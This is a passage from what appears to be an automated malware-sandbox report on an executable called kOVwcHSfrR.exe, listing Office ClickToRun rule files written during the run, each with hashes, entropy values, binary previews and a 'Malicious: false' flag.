Preview:	<?xmlH/...Ld..ab8.k[.u...8g..d4.&....w#/m.x...T.2......O..Iy.X....X..;O..$.....8<.%..^i....&.vN.l..5\|...Eu{.....p.e@.<9a.%..Xs..Gj...a.6..N.....q..J_. .......,`MLL...r..W.}.?u..f/.....n...KW.............+......w.1.w8.q..eIk.....b..GV....b.TY<2...v...Cl...?r.^..4..u...j..r.}..f`.8..hgq.N;.:.rD8......[m..\|....N.##,s...Q.?.h..{.b.!V/......m...e.........,...clJl...Ub$a...0.......+....c.Z_.9......f..X.\).X'.F..Z...Qh...B.u.nBM..r.y+.a..4.{U.b....OA.l..FQXM..3m..g^vGH.....1..y)..0.'..'..E....:...>.X...rJ...t.!..Lef.L..I..y]...;.2..'R=..x.).i..K,g.... ........p.....^...N#.S.]5p...B..A..K.....D..,b....=+..../.]Wh..5.\.1.=...coB....J....0q.^.vf..-H.at..:H..e...0.Z....7g..(H.Tj..\2...E&....v..h.,....S....]...V...^./l....p...U\E$.......MH...........r.rO.\..i...9..P..(..c9.1.R0...v.............r_.M{&.49..N.A~z"-;. .el.6.....1...X.y$g..0%.k.K..y.nI.\|.6z/...QK.Xo+...wW:.[S&f.~..w..gy.x....F..5?v...q6.c5..$],.....;gum.s........GCO~,..Os.&3.Q..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704200v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1713
Entropy (8bit):	7.878924331369114
Encrypted:	false
SSDEEP:	24:isxUz+5fY+NMf/rCphbm36xIhoKE1Ug16OihE1Ws+OXGGGe+4yhySFo0TeoZw1bD:Hx45wMWpc36umUg16OsgkOhZWNnT9ZyD
MD5:	1CFC594AFEEED932F5754BA4C3DDCD03
SHA1:	B5CF477BD4BA896A7EB59DF91C264907BE53DA63
SHA-256:	438125929368446CCC69591A148CD40E8F80714EB941B38EBEE54607A14EC231
SHA-512:	5A4F32E896DD2804B141C1484D00BD5C5C0DCB30B65D6519B4D88C499E18D2EEFF21E48DE253B6A524BE6D027624306478C9558A97B15C4058C7C15B30B2DF2D
Malicious:	false
Preview:	<?xml.\|.$ck.......7..I. ..X..C..\....z}..s+.D.e&K..n...\|....02.\.9^...+w..]){..X+.....u9..s3...)1.JG.....b2....n...~....OSP..b.r..Ip.Oe.z......\.%Q:.eg.......T=.....(G..)#.......0..:K..Q3<5.... .En..6..2zH..\....>....rF....fB^..<.....$.r.e......{... ...lfa)v.z.7...9.].~...`2.....y..j.)k..l.dr`.............Y.H.`l.'.H...<.r-.i.K.y.k....~~..b.....^..M........>..q..q......-.r...O.........N.....t.x......nXCO...w.>...R.4x....R_.H..k.D..:.b{...#......;....7.^#...."e.E.Q.....M^C..e.z.wH...R...w..+.d..p..V/..=......gzXy...S..X..]....[.M$~...#..&.(e\|...F).<>....i[.C.`..t..?(..)...j\.(Rp`.3....#..5....E25o.Gw......+M..p]....'UU...........J....f3A,...Y..VA\|u...m........@..0.,kQ.z]C$....O..\.$R..vGE....5.3[..G..@\$..1.z.`E......}'2.\f..`M.eJ/...8C..N......F..\|eo..TH....v5 j..O.,p.K..r..l>...v.I....NB'.Kn..+.[.2.).L..J%Nj.O..a./..... >...Le.6<A...n....`d4P)..\|..n..!Fk"....?'w.......cM..w......z.w.u........w..]1.m.7....D.......q....~L.v..R....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704201v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1750
Entropy (8bit):	7.871140638742576
Encrypted:	false
SSDEEP:	48:I9/nSKZxhEgDyFJiPY436X46ZF+LnwVnNyD:I9qKZfEtFJu6XnP+TwtNa
MD5:	2069DB34F1FB8C864CB0F35D6F54781C
SHA1:	92B465589F0D43B42C0CAE68B25D4D2733D4A2C4
SHA-256:	E7DE208C2054A8480B29CC0D96E27D1A4AE2182E6048C6AB8C01026FF0D031D5
SHA-512:	F6C2133B61BD07E2F2DEC436AC10042C0EFBF4A2C36A128626C174479BE21645130FA0401B2C8F37FA97ACEEDED70348F5D4166688501239535B4896BF16600D
Malicious:	false
Preview:	<?xml...B..@...Or...B../.P..f...:E..6I...jS.K...X..W...`y..)..91..G...q!.J..p....is.;(....{/...o.........#..\|...}D.Z.w.....C.. .....F.% .!A.....N...c......@Ir...`4qR3._DC..I..'.m....#B?.V..q.cYe..HH.........BL..Sk.....X=.Y.O..HtY.%-...r....t...Bg..%..>M..0....p..Aor$....n.HstCc.kC.....G..}..(2..W...0-6.U..........?...2...\....!...<[...E....Ow.$`i...b..H.EF.....Mb-P....5..?..3~..W0f......Y..R.8......v++...XNl. .o'.7..Q...M..i.~.......x....N.0....\|...!..W..m...[.V..5....1...c..e?...5.G#...._./....B..J..P.WS.uPw'.e....Wi.fQ_..!.{T.I.}3.ey+TM{.UP.`.X.[...(......$..y.\|..`.Nj...... .<.EG..&veJ.!..I.}......A+....%V.Y.<....[.....p.....yx0*...a@.v......f-%..9..G. ..B........9g..,.m.................../uo.U.....U)........?.#.......B}...:LPG.,...B.."...B..4.p..Im...R?...?,..#O.\|x.....o>.....l..%..m.-Zu....'LH.!.2d..V.....y...E...P....K.F...4....y.6[.(....,,...#.\............E.....;u........r.[..fk]...D..D.....V0.7..q....\|...\Yz7..b..u....T..L..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule90401v3.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.885850734619562
Encrypted:	false
SSDEEP:	48:6mOkdl9ooHbxioWaG4Sh+ViqQdmAAmYAyD:6mOE6o7xiIiqV5mYAa
MD5:	7C6ECB63806A5CFFD23D59894920C2C8
SHA1:	C056F70840B8E718E7B68ACFFEF0511FF0BDC6F2
SHA-256:	5BA0CABAD76364496F5DAB46067BD41A86C4951427B89B0173D11FAD08E255B3
SHA-512:	F8807C5FE3FD05788A9E10F72F1D925068D390CA52FAF6D59AD9A1394CB34B1E24600F7FB568ADEE14FE5BCE7A053F221E74EEAB52BBB871E7A6B732653BC881
Malicious:	false
Preview:	<?xml..\|..o.....}...`..\|..._.\|z=h3..xC1zE.Pp...<.e..s.j...(}U.....]....h.}......P..'.e.T.........t.f...k.....J...M.)..cm."..>./h;.H.8.b.~[.8c....k.E6}r..xeh.U.c...]..O.Q..+.....+,...f6c....Z.{...~f...MM.$`....!...n8...'..+1i..9c}gU.;..h...~......G.t..^.SP8ZDg.....6-...A".4.kN.,.?2V..6.7x...6...C.j.oe....".....D.j...<[.L?i^..U..XO................d....}3...n........D.W1..j......;9.~.n.6..c3_ .Z....1d.q......w..-.^?^....~....8+..q..u.\|PgM.P....L.oM....{...gv..eO$..Ko_......9X.^T.=.ph.'..6.y.o.\P.J.R.(V5.X..[v..d....91..^.^e....2..x.......w.....1.....~..2...C.............OX...?.}..P..:........EW.+..."...1.o.=.......]..?.........3.;.....zF.M..S..\p.%..\|.}Y..6P.h......9"....$...?..\#...3>..w,.6...._f.w.......#ff...K...K....@2U...N.g.......D...a....$.F..}..Pg.i.......[..8z......(`,/....lo.D...v......(~..\tO.(..m...x...s..........:sj.........!<..>._...........\.......?......K.d..-../vSR.f..q.........Q..]S>._.]?.E.6pxF./...S..~.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.516248741473793
Encrypted:	false
SSDEEP:	3072:O19jc4vU5NElpNkAh1ayXQV+6TzkdMzBVAZhTdCegaJBaCeGFUyCFuiN/iM:O16HExkAh1a99/g+BVA7gadeGFUTpNKM
MD5:	3CE83ED56A7B749A7F54B5BF81FDD029
SHA1:	4813CCDD3453EC7D6392939275128D1FD48D7F1D
SHA-256:	A4AC1C5F2580B35ED726C25E50E0AFBF7D57DCD1CF0F37CF7AFCD9FCD52F743C
SHA-512:	CB4B71148236D551A52614F29F22A33D7734875AC6D3D35FBCA2537A79C4A3E380DB5870940C48911F7744A216B48F245831F9C23E83FE83A3F00278B51BAFB3
Malicious:	false
Preview:	<Rule-.wD..v...p`j.g..5..-....GD..)...A..........'.....}....K.......,...SyVV.c.v.W.?.V?..>.0d9......$Z.N...G....WHG......v.. ...G~.........O2.}./g....J]tw....g.+...Xy.P$./)......R.IA[...:#.TA.{..Y.$.\|....8..^..P.o..........(..D)....Q..O..{+r.. a.n.X.1..(`.....e.=J.H1k..MYj!h.....Qq......d..Fk..P.......z.<...n.&.5I-........(.....rT..t.T.4d.+..........y.H.-.X3'..3&..<...(.L..5.......3.L.6.m)....5c.y..u...........]..6.....#+.bT..;Ap..b.?$(.GgMJ........:PLR..?-..B.<.&%].?.}R.u..gv.W..;.o.....5 ~..\..)$.0C..2y..T.Iw..#-...g...z...H]\|[.l@...P.X.`..;6VZb......'.v.c......t....-D.....:7M....%.M'._.u6..8..s"=......y...i.e......ku...X.....x..j.E,...1..\|8..z...p...3.p...g........DO^...I...>G...h=...o.T....yE.c\.z.8..Z..g ....?....c......b&R.....q...]..P...%M....:l..A.}.-y....5".Q.J.,j.&>.....@E.<..4I.l.,k....K.K..t1........7-AW.2....>.m....].3.....(R..;....nQ.......B.JZ-g..f._?...p..7...P.......b:../.z.0Eh,.. ....3........}....=.._

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule1000v5.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1928
Entropy (8bit):	7.906183379235782
Encrypted:	false
SSDEEP:	48:jjvlomUeM+iWJW+UVzdlG5XaJFT8ZD3N1uCfwmPsh9U29d4YyD:jjvgeMBW7wdlG5KLT+R1uCfG13za
MD5:	7BF3987EBDDB6F535EE8122F0729CF9C
SHA1:	D1E7E248FBB88483231F3FA88766232F2AECCB54
SHA-256:	EB314948785644C6FA298235543DCA2F2B1153306444B61BF031D2FA397BDC08
SHA-512:	66D9AC9AAE4C81D80D9224AED036B8AAEA61CCB3E9F2E3B98099851E5CA192EDFA558C4FF662333E24618301D8C2799D38B2E3FD3EF5CED374CDF76604E12DEE
Malicious:	false
Preview:	<?xml.'.3.....-.!7....x."2t..{9.O5........).....k.ng.....I.PrG.5..Zv.....u...Fd.[.v0.....Z..V.x.%..x..K&4.H/j.y?...J2[..>.?..G.].z..cB...s.......{n....'N..\....}h.E........a(...H..$.j.S_^..:;k..c.H..nU.(..e):.q....U>....N...-R.~+.........vH..t.q.l..j...:.Qjw.L5..N...U?N2.!.h...b...W.x..X..-.\...%..../..0.'..y...V.T.....[.Q..m...k..I..o.@Pz.LZ..^...J^..19y%}y..#...s..wC....q.F..1....ppUz....._],ij."0.P6.!...O...7...x!..D6.}p.[}.....+.a-.\|....e,T.]....,r.z...xp.Ft...e.]..t.......{}.AS{.....&....(;M....N.B.......3.......a.J.J1.[..r/pY..~...z.k...8.Q0.#sj5".".T.Eo..7..d=.S.S.....M.2_....5...[../...DAA.s...n.Zk...J..\..o...(..ehW..:ly\mpM(...H..!.].AS0....._.qa..F:...,\|..4..9...D.0..E}A..i..,....IEl.H.C.rQi........b.......8...g4.o.&..t...\.._..e..#...\|...M2.........=.u..+....G(.}.y..6aD....S`...q.....m......@Jy.. ..... ..G...J..IY......0WV.!U.....C.t...L.q..V.`q. .P.D..].z.w.<~.R.,X._~K[.#.....>...?.........].v..~S.H...].z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10450v3.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.8425357271508584
Encrypted:	false
SSDEEP:	24:igeAe6CH7FRHJQv8075GRV+UQBuCQxc+sOIST55dv4c2lF5ObvXSDbZ9ow1bD:igeTX7zmvhWVrCQxc+su4xl7yGboyD
MD5:	44EE8E78D8D3005BC90AA939774648AE
SHA1:	5390FD53B9704469CC54F6DB09807D260C53FAE1
SHA-256:	59D068F8E05E8982DBE9C0F17FA416073C2706570F345E7714F3C26EA3711F15
SHA-512:	D5CEB80CA6D979A054C2179A377E77B7C2AA1AA80AA4CB73E2BAC86B128EDFC25DE8A0AA3FDAFF94BCFDF00715870ED6A1EDFD628FCE7E86F5DAF594353BB046
Malicious:	false
Preview:	<?xml...e....#j........./....Tj....{..b0..a.W...}G/..\..0z~.LG.oh...fV.+..A7...'I.Ge-./...9ni.P.o.......p.+.......G..el...[......lmt..0zUO.6.....@^{......h"`.Q...hW.LL.. Y.3...D.......$.#.O.:....\|&^...1.....g.y...X..l.......ra.pp?..#..>...8.=.v.:;.f.?......'....}.E...(.......2\|...W.dD.......(r.......u.0.@..-.F.E;.....OBtj.h.y.{B...0r...^..v..........RgT.f.$...k...#CL ..zb.3.dP...O.-t..).v6.!`NA.;....`.'\|...M..G.......L..l...}l.........3...ze.z.r.Y.oe;..;.1 x9..W.\.sH...Fiz...!..wn.h.6x.......q.v.\...&.?...J.+.....E..df.>;./..7aLL.......f.J.g`p....3..p7A........../..!@o>.L...w.[...m\|...r....v.....xFT...K.'uIrk.J. ;..!1..\|..m......(b>.?...q...1..:.../Kk......S.0a`=.....c.#....[+.....w.F........7.b./..O....$.;a.....-..Gn...c.{...).......Q..*..p.....S)..vg69iY. T.e.....+.d....x.U=..u.....W.l..[.F.....[.8...'.f..%...~.$.zAA`....4[...z...t....S-.G..(=$t8...8...#`L..8E..]aA.9.q..[..pr.....;.:^.V`(D.4._..p...D.d..(...^.i..CNQ.....C..r.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10625v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	3024
Entropy (8bit):	7.932866947016101
Encrypted:	false
SSDEEP:	48:lRFqkARVUJQ4gvLlWlJ7d2Q/e9M3uA0WawlJUYW3aZu+czJz0w2R8tzLmyD:HFqkWVU6dvLwT7d2Q/etA0Wjluj3LRp1
MD5:	FDDEE5DFD50ADEACAFA8F886F1BBAFDB
SHA1:	9A8592F0520FE084F87E5EF267A9A7FF00997395
SHA-256:	27089D8E449ABA1FBFE711677CD165E17812853FB449D658F62B13AFB71FE1FA
SHA-512:	F6E3091865380B78B0B1B759ADFC768566B2798679F7A2F1440CBBC7A769A8620E405DB2DC47D1049BFCFFA4D35A2172721DA4D3B24A53A7D3F17D8AD210DA99
Malicious:	false
Preview:	<?xml..R..N..H.U.e...(\...-1....bz.....;...0....X...R.=<<V.>.sE..m....p...Z.$I.i.!...4...;...V3...bM...X...vT.?..I.\|{..7.(._..&...p..6L".p..3..xV.:.9&..{.=#.G...).....{..;...(b"./+..?TYY...Q..8.9}Pg...N.b_.G........G.......q.8%.K..1KgE..d..x..a.i..bT..=.Ox ..C..&S..fD.. ... \O..~.+h.&^.....?...Tr).{[u<.q..'...Qp.H.7...cK.Pp.U.......l7..V+.0..e..8..\..'?....Ev.CZYv.9.....I.j.]...u..NG...@..Z......a..1.07...eh.{+.<......aMq..#..#.[..^fa..="._G?Y.]..4......G..Q.E.P...k.5.U_.Q...o..~&..A.....z@...9..Y.$.@.1.Z?...OZ.q.S^...m...&.k....s!..q.=N!........Ui....S.......7.=.Y,...^.....+n....g.>......~L...=..)v'....(xU!..~.}Z......c..62..AG....sb..V..b.8....#e5iT......q.....U.+.....V....+...^x....Q...d32...Y..w.H~......r...'....5..C..U.=VYu..:...D4!..{0...A.. >.\.....k9.?Fc..v..o4..<.k........r..C.,O4......a0..R...{.].:...?.'..-...UdR...On.....\C.....{Ea1^.a..6.\|...e...=).?\|.A+..V=.....).=/-@.;V.....~.jAU.9/.9..hS.lX\|_.~........../I....\|F.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10626v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1675
Entropy (8bit):	7.885172426149036
Encrypted:	false
SSDEEP:	48:G1K/gVfI74RniBKR9Vh604aTDh/L1Gix/TKkd9KlTzwM1J5yD:Gs4VfOwniYLVh60j3h/LLqzD5a
MD5:	FF405EFE44F05075B71E4FE3742BBF94
SHA1:	156286CB98441743B3FE53EE2DB35192EE2B8BE7
SHA-256:	A9ACC391F9023965CB5AE1EBDB875790B70066631D4AB874064DAF2F4765B263
SHA-512:	CF9E7CAE471551BC5D4B14ABC03314DE2139D5BAD034F8E374EC4CC4CFC335E0DC7B01234074080DA7DE9485D9A36E77C95C49C495A62E8081055CBBCBB1E2F9
Malicious:	false
Preview:	<?xml.....S.:c.C 5.Q...3E}3..W...H".p..Y:zb.f..r.PYJ.....#uTh.(C......6).../.9T^.OL...J..w....v..PS......~.A9........}.....@K.@.6b;.$....VL.X....u0..[.....C,h.:i./..z..2.A..p..../..b30-.@.af;00...c].r&....y.O.%%...`.....8..;.iS..t.G..o..A.P...a......4..EG...q..2.C......Yv...}.r....b.....'@...?..&X!...o/.h.....(.....c.+>...R..;.G..^...6._f&...L....z!.....>..n...4...g.~C.5. i....[..d.O.(F.zR..b!...nN.?....F....c.`."].7.U.........r.nz..H..&.[..:.....-..R..S...!it..8....t..R)...}3.c^<.E..K.^JD.....{..3..%...]^`.p.]..n.y..w...z..v...d.'d5...\|...[.Y.C.{.:...;.j.)Fl\....`A..RN....n3&).?......(.}.Nw.a.Ww.....+\.F...9.3.`......4....N...Z{".3E2!mf....r.#......D=.=z.....r].PF%..._..=..6..........l$0(dKd..w.pZ.u_.f'..j....d...yu.V..... ...\|.hmc#.hxo:+Q...Jc.xi.............Z.N...../....o...f...'m.....o 1..\J.c.4......%Qy.C.-bu.oB3..{....ex.[....i.t.f:....ci.c...$............T.t`}....c}.]Ke.F.n .B./VUY.M.\|6.......5.9..2..u...rW..Ch..T..c^mK

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10627v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2113
Entropy (8bit):	7.911411729056427
Encrypted:	false
SSDEEP:	48:LVZFEwYQbEhPrPPFW1JOnnlWT6L7jj8rfJDXiW7eyD:ZG5PPFW1JlT6L7PGXxea
MD5:	2F53DB17D7E78870C314EB435862AA48
SHA1:	F82989102483AFDBB11F9C823AB6FDAC890972AD
SHA-256:	F8345F36ED342B7C8F9EB5D4736747E8E537F44462960799F2B56A4D3168BB96
SHA-512:	9EFEA5DDC894C8A58A3F8D6952FFBC3AC0B5AFC21C366C8A816801CEF9BE488820ACCF30A1A1D8586FA899F64C73FE3AC03AF2EFC0457BB0351FF3E54B50B7F7
Malicious:	false
Preview:	<?xml..n~=H.L..9.B..?.......M........'. .m.QZm.U\....,j..em.pM..5.^X=...p........^V....-...e..4.q.r(.I.!.f.....dQ..}..4ow....1.../-?BX.iE5...O..}ZZ..[....ty..O....m.&.~.........^M.oP.lAY.)....T...hA.H.[f.:.Y.DSB.z.~..-;.....hu.<{.Y.,Bg.d..F...........t...\|4........nN. ..yb..w)........a.g.myL.\|gz.GY.=..+4.o7s.Y...R._kGW.+UJi.h.JH...O....8e..=.l.\|l...n.{.8.C.#...`...7e......s&....h...T%j..m3.,bc`LE.h...aA.?.T..rO.n.%..>u..AaU.+2.\..#4...i...(U.N\|.p.".y./...x...V........`..V..70....-.cF#{'.B.......{....k.4..q^:n...ms$....;0..J..e>..S..C...n.....o.H..:.1aUS...me....& n...a..h..........o..A.U....4.)..._.......[I.l.......O...y^.&...Z....(...E.zA9..\.u..qm]W.TR...t...j_..9.n..f......z.as..:&.....r3...sO.)NK..P..d....$e.....<G.[.:h..<..P4.nG......r..V...>.x....1dT.9..&..C#.;...8V..FN.....6#...X......Q:.t.m.....Mv.J..k... .s...2..8D.Y.....F Q..i.y..~I.......5.Cdx!...8..c&...s....R..s..../..$N.4.c._s#{.U.H.Oqv...v.j..H.Sh?....?.(.;.CJ$K(O}..;..$lk.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10781v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.749464174435525
Encrypted:	false
SSDEEP:	12:rJThadP0/qFQc1Ztc1z7m75DAL91I5uSK+P52nfBoywFsW2Juh1P2oG3w0Yoqw1X:d8druZm8ex2nfBS2UhN2oG3Sw1bD
MD5:	2700CC78536688E65A8CA2D5B3FCEDC2
SHA1:	9AD03BC84289C003DF7D2A2769024F376DE5F8A9
SHA-256:	1947F374D874C42EA123F3E8ACE709B67C736314A3615DA49D0E3351EBC6A2DF
SHA-512:	DF515DDDF54565E891C9B3A245905370BF8F3805098087CAFDF2B802E436B18A3B577C7950B0BB2A47114B18000915EF1AD2CA40223DF98F6FBFD53C37DF8712
Malicious:	false
Preview:	<?xml.)..K.O.!,..~..o.N..J.....o.U8.q=.8%7....n...R.....H..3.C..Hm ...O..[....)....>n..(1...p.........Q...T.....b~.U.q.,....s.... .b.Y.._W.._.o....z...x..q..'...i._d..Z..n\| n-#..c...}......,.7..k.....u.F.=0......N..<.....Ek.hq..D.....^E.X..1..#{..K..Q........." ..PR......%....KpU...t.wmg.t\|^..Dhm..Mm...W.m....?..G>.F(.`0i.;..5..fD......5.B.B.........[.....rv.?s....2.*..yI...fe<.M.T_....&....(.l..q....M.$..<...:..j.c..VR..9]...!'..........}...d./&...x,..f......x......)x.Z.8^...,Y.YM.".....<.Z.....D.o...j.hd..,.a./~T.+i........N..?Cv...j..?3....m.....N.......w..f.%.%..&{.D...$.XK..#^..u.^.A..I..^.(~K..e.!.H.....}...\|...b.R.W...=.1Y...0.fV...I+....M.......G....vH..[`..jo.Q...6....]...3..w%TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10784v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2070
Entropy (8bit):	7.902847065862544
Encrypted:	false
SSDEEP:	48:ia4KDwsguNKAWrYSQ1RpqL9z5vfjpbVlzq6AIsZyD:iXKDwQsYpJwz5vbpbVSHZa
MD5:	5EC5D78DA0462C875EA4CB319267069F
SHA1:	62B6CD92235C86CF67BDDC222F8E6DC52C067985
SHA-256:	87308D02C69BBC7D0BFC740C1D2D194898064C47AAE674E50EC77B458266FA6B
SHA-512:	85C8F7DD5FF9E48E27EEA67D3FCACD8520FABB1E590F18C7DEC31C250E3F555E157ABA89AA3888169D940E77E8C1EF663A23BEB8D39D7AC0623D8B5F083E012A
Malicious:	false
Preview:	<?xml..\l..Hj.0U..O_%....E..}..e}s.P.y.#l2.....;....KUw......W9J.VZ.`...a..u"..R4..3. .O.!."..d..G...;...`..`O...v. .....p.?............W.f...6.Eb.CFgUjm.xE,.....N.......\.u\.....5V(..!.+.._..9.}.S] .....+.JF.._...............#,mm....'....b+.$c..$...5....i.G..........g.....9..o.."..3...mx..U..G......T.-\|..`...2...._1#..kg.U......6.e.$..\1j.H...D...aT..A...3....._.a..?V..{.sp.....+.T..4N<..5eT..G^2.0.\.}.&&6...S1.\|.`.......F..3.Q.c&.y.8l.J..~.....C..a4.... .y...z...o%....;....b".......M..e....~...s&..Q]~...}.....U..i.8.C.:\|...........m.....`.Q.c.....aB..l........3..;. ../.`W...,...d^....V.....v...N..>..VT.s.Z.37h%%.R$'.....Z.i.44 N.#1...}m.h[...~O+.>...."..p?/..Xl....R_.C.....[..z..\|[....Y....$...mzFc...yH...(Q.0GT..$...hG...z..E...46...<..6&.....D.....p......S.HqnXK...\.T.n}Q=.%.H2..5...G...1..(...H~.7.Y-q...nA......@....!.<M,=.<.A......C...t......z....+f...Q2.....K'.#o.m....P..1.KA...M...[.a..%.E..hy....[..M.d8W...}......A...A.4......."u.6

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10800v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.723592730666696
Encrypted:	false
SSDEEP:	24:6p47BMNACik63h59en2AQq2/AtlBwSUlw1bD:6IyA5TodJMswtyD
MD5:	C3C35FF097B8093792FB76523A539B1F
SHA1:	CB99AB96E6B31708AE7D6F99A2D2AB5E1296F486
SHA-256:	65C8AAB0F9EEDFEB919353E6887F96937ECBBF3490B796B62777646AF13F4562
SHA-512:	F2649EAB98E1C3460DBBEEC163A511CDB14CA132B02FBA74ED9ABC963D854C6D6BC5A76B22FCA77A8AD680F58C78900D4F2798DE5EAA099139541AF201DCF863
Malicious:	false
Preview:	<?xml...J.~9..i.........(.#w.Lo...#7....X...b.3.B.B.]..{....1.\|yJ.L.......M...(.E.&.+:..x....rFG>o`...'I%.5l....5J..9..LC@j....>.ai..........>...I..6.U0+..eG..0,....a.%.1\&J9..2m.J.f1........u....{......./..8/{.w~...;."mL.7...{@..H.j.@d[...(.+ee........j.6.1{.x..$R.".<.I4..Dk._E4.@-.14....A......l.../E+c.r?.....`.d..U.}./..$..^=...W..CtL..........?...Z.._....Lv.(1/.7$...zWk....:......... .eM$.a...f..\|..e.a.....,aA.Dd..\..Itc....6.......~.e0..U..DjS.z&...L....I....?@R..3.(.!6y.m..8...4.bt...[.20...U..F.XT..47.c.V...)E.W.....w.........Z[...5Ll?.....3hb.=H..T.jJj..O......A~L.Wc..XP.v......!K3.g.....t...x.x..,...$...c0...:c5.....i...H.vG..S,......?...= 9...TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10801v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.925600305635505
Encrypted:	false
SSDEEP:	48:AAR34ZDdlojNB1xeyZyGCIcJjSkakzCCqgdJlI9niqLKMYgdZ5f4Eramhn+oqIcx:5RIGjeyZyG2pJaUdjI9nRLKMBV4wthn4
MD5:	9668E6B8ADD7D80DD66CB0B32733BC1C
SHA1:	8D695FA46DD22959976EF4ADC416B3442C9D5A85
SHA-256:	7D1A76B6FCAC14624B90A525BC65EA156532C96ED6D4F1437F205B0700B2A856
SHA-512:	C460850C907EC7CF7E16DFF71DB8E4D7B81BB64D86D3224D627F5A5932454F7526F04A062447DF636703263014A78D98B23541F10E78173BBCB45EE14F680A18
Malicious:	false
Preview:	<?xml=........%..jy%`L@..{o..a.........%.e..f..-..8+......^.L.q`..9H.ml.X....L.....\..,T$JVca...n...8..\|@.....Z....+...Rv.z.0.^.=h..E.e.OE.N?..\|i...~.{.[..D.A..T[\..@...6.L..!6...p.Z<B.W#Z.L/.2..X.)Fp..;_.........s.f..B.y.]....CJ.4.....+J..zD.#j9. U.e/.@....;y..R..`..;L........5)....W..5..<..dp.V%$.$D.:./i..A.:.0E..z......s?.....C....{~cN.^z.%...n..<..7...V.L...NJ.....MH.R)[.;D.V..[k.m.\.(..y[.}.t=..=..../i&..B.L....J....;.w..6M....i.B).\|_..`..~..h=B........6.\|.....:q9Gd..j.........i..N....EzI..,.u...%..E./..4.$.c...#.....d.)=2..2...@k.2e.xZ.K].{.L.Q...^..zz..6oP'...m...eFr.....>.?..........U.eB.,P2\|i..t$..%0.--ZZ.p.Z...o.......&...y.u,..HQS..qM.Q.R..2..G4...U>{..5.G..3.G........n2.{....L(B.Ah....,jx...[.eV. ..k..<P.{...I...M= cFob#.lq..._.S.GS.#......GFbN..D#...Mk.........3..j.Qe.....2sS.dD........^......4...A.......=.P1....y.G9K.... ....pS.d..4..$..... ....9..t.....1 ..J...x.v...W..oaw~.@..YNfv'../q...k'S ^}.:.h..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10802v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.943140028883792
Encrypted:	false
SSDEEP:	48:rltzWPIxW7ttn7Tb2TBbCT+lvWjsdb2azgITPpeyEazsfeyMP0SNIrBzGNPJ5ddv:iPN7tdTb2TB4+l+CLpesomyMsQI9GNP/
MD5:	5D3E27BD97B07760FB592093AF6598E1
SHA1:	29320B228CF82726E008CF9B5B3AE05DB3741595
SHA-256:	7E178D0AE46FF9880D55CFAC597EF1C69ADF97B31DC20F98B44561EEDB7E743F
SHA-512:	4D7C5A7E41206C12F8E160C57E8BDDC6E8102E7E053596F6AB26C11C5B6F9A7D34CDF851555AACD030C13E772C546A723E66983B2B61B508A693BF6A81240307
Malicious:	false
